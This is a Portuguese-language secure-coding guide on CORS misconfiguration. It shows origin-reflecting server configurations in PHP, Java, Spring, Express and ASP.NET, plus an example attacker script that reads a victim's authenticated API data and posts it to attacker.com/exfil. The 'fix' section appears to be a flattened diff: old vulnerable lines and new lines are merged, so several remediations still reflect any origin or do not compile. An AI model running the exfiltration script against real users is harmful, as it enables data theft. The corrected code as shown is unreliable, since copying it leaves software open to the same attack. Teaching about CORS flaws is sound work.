Introdução
Section titled “Introdução”CORS (Cross-Origin Resource Sharing) é um mecanismo de segurança do navegador que controla como páginas web em uma origem podem solicitar recursos de outra origem. Por padrão, o navegador bloqueia requisições cross-origin — o CORS é a forma que o servidor tem de relaxar essa restrição de forma controlada, informando ao navegador quais origens são permitidas através de cabeçalhos HTTP.
Uma misconfiguration de CORS ocorre quando o servidor configura esses cabeçalhos de forma permissiva demais, permitindo que origens não confiáveis acessem recursos protegidos — especialmente quando combinado com Access-Control-Allow-Credentials: true, que autoriza o envio de cookies e tokens de sessão nas requisições cross-origin.
Cenário Vulnerável
Section titled “Cenário Vulnerável”Reflexão da Origin sem validação
Section titled “Reflexão da Origin sem validação”O padrão mais comum e perigoso é refletir diretamente o valor do cabeçalho Origin da requisição na resposta, sem validar se aquela origem é confiável:
// Qualquer origem é aceita — o servidor reflete de volta o que vier$origin = $_SERVER['HTTP_ORIGIN'] ?? '*';header("Access-Control-Allow-Origin: " . $origin);header("Access-Control-Allow-Credentials: true");header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE");header("Access-Control-Allow-Headers: Authorization, Content-Type");// Filtro de servlet — reflete a origem sem validação@Overridepublic void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { HttpServletResponse response = (HttpServletResponse) res; HttpServletRequest request = (HttpServletRequest) req;
String origin = request.getHeader("Origin"); response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE"); chain.doFilter(req, res);}// Spring Security — addAllowedOriginPattern("*") aceita qualquer origem com credentials.// Diferente de addAllowedOrigin("*"), que o Spring rejeita quando credentials está ativo.@Beanpublic CorsConfigurationSource corsConfigurationSource() { CorsConfiguration config = new CorsConfiguration(); config.addAllowedOriginPattern("*"); config.setAllowCredentials(true); config.addAllowedMethod("*"); config.addAllowedHeader("*");
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); source.registerCorsConfiguration("/**", config); return source;}// Configuração com express — origin: true reflete qualquer origemapp.use(cors({ origin: true, credentials: true,}));// AllowAnyOrigin() com AllowCredentials() lança InvalidOperationException em runtime.// SetIsOriginAllowed(_ => true) contorna essa restrição e aceita qualquer origem com credentials.builder.Services.AddCors(options =>{ options.AddPolicy("AllowAll", policy => { policy.SetIsOriginAllowed(_ => true) .AllowAnyMethod() .AllowAnyHeader() .AllowCredentials(); });});Com isso, um atacante hospedado em https://attacker.com pode fazer uma requisição autenticada para a API da vítima e ler a resposta:
// Script malicioso em https://attacker.comfetch("https://api.company.com.br/usuario/dados-sensiveis", { method: "GET", credentials: "include", // envia cookies de sessão da vítima}).then(res => res.json()).then(data => { // dados sensíveis da vítima enviados para o servidor do atacante fetch("https://attacker.com/exfil", { method: "POST", body: JSON.stringify(data), });});Origin com subdomínio controlável
Section titled “Origin com subdomínio controlável”Outra variação ocorre quando a validação verifica apenas se a origem contém o domínio da empresa, sem ancorar corretamente:
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
// Vulnerável: strpos verifica apenas se contém "company.com.br",// sem verificar o domínio completoif (strpos($origin, 'company.com.br') !== false) { header("Access-Control-Allow-Origin: " . $origin); header("Access-Control-Allow-Credentials: true");}Um atacante registrando o domínio company.com.br.attacker.com passa nessa validação e obtém acesso.
Riscos
Section titled “Riscos”Uma misconfiguration de CORS combinada com Allow-Credentials: true pode permitir que um atacante:
- Leia respostas de requisições autenticadas em nome da vítima, expondo dados pessoais, tokens e informações internas.
- Roube tokens de autenticação ou dados de sessão armazenados em cookies
HttpOnly(acessíveis via resposta da API). - Execute ações em nome da vítima em APIs que dependem de cookies para autenticação.
- Realize exfiltração silenciosa de dados ao atrair a vítima para uma página maliciosa.
- Comprometa a conta do usuário sem nenhuma interação além de visitar um link.
Como Corrigir
Section titled “Como Corrigir”A correção consiste em validar a origem contra uma allowlist explícita antes de emitir o cabeçalho Access-Control-Allow-Origin. Nunca reflita o valor da Origin sem validação.
$origin = $_SERVER['HTTP_ORIGIN'] ?? '*';header("Access-Control-Allow-Origin: " . $origin);header("Access-Control-Allow-Credentials: true");$allowedOrigins = [ 'https://app.company.com.br', 'https://admin.company.com.br',];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origin, $allowedOrigins, true)) { header("Access-Control-Allow-Origin: " . $origin); header("Access-Control-Allow-Credentials: true"); header("Vary: Origin");}private static final List<String> ALLOWED_ORIGINS = List.of( "https://app.company.com.br", "https://admin.company.com.br");
@Overridepublic void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { HttpServletResponse response = (HttpServletResponse) res; HttpServletRequest request = (HttpServletRequest) req;
String origin = request.getHeader("Origin"); response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); if (origin != null && ALLOWED_ORIGINS.contains(origin)) { response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); response.setHeader("Vary", "Origin"); } response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE"); chain.doFilter(req, res);}@Beanpublic CorsConfigurationSource corsConfigurationSource() { CorsConfiguration config = new CorsConfiguration(); config.addAllowedOriginPattern("*"); config.setAllowCredentials(true); config.addAllowedMethod("*"); config.addAllowedHeader("*"); config.setAllowedOrigins(List.of( "https://app.company.com.br", "https://admin.company.com.br" )); config.setAllowCredentials(true); config.addAllowedMethod("*"); config.addAllowedHeader("*");
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); source.registerCorsConfiguration("/**", config); return source;}const allowedOrigins = [ "https://app.company.com.br", "https://admin.company.com.br",];
app.use(cors({ origin: true, credentials: true, origin: (origin, callback) => { if (!origin || allowedOrigins.includes(origin)) { callback(null, origin); } else { callback(new Error("Origem não permitida pela política de CORS")); } }, credentials: true,}));builder.Services.AddCors(options =>{ options.AddPolicy("AllowAll", policy => options.AddPolicy("AllowTrusted", policy => { policy.SetIsOriginAllowed(_ => true) .AllowAnyMethod() .AllowAnyHeader() .AllowCredentials(); policy.WithOrigins( "https://app.company.com.br", "https://admin.company.com.br" ) .AllowAnyMethod() .AllowAnyHeader() .AllowCredentials(); });});Inclua também o cabeçalho Vary: Origin sempre que a resposta variar com base na origem, para evitar que proxies e CDNs armazenem em cache uma resposta com o cabeçalho Access-Control-Allow-Origin de uma origem e a sirvam para outra.
Referências
Section titled “Referências”- OWASP - CORS Security Cheat Sheet
- PortSwigger - CORS Misconfiguration
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- MDN - Cross-Origin Resource Sharing (CORS)
- Microsoft Learn - Enable CORS in ASP.NET Core
- Spring Framework - CORS
- Spring Security - CORS
- Spring Framework - CorsConfiguration API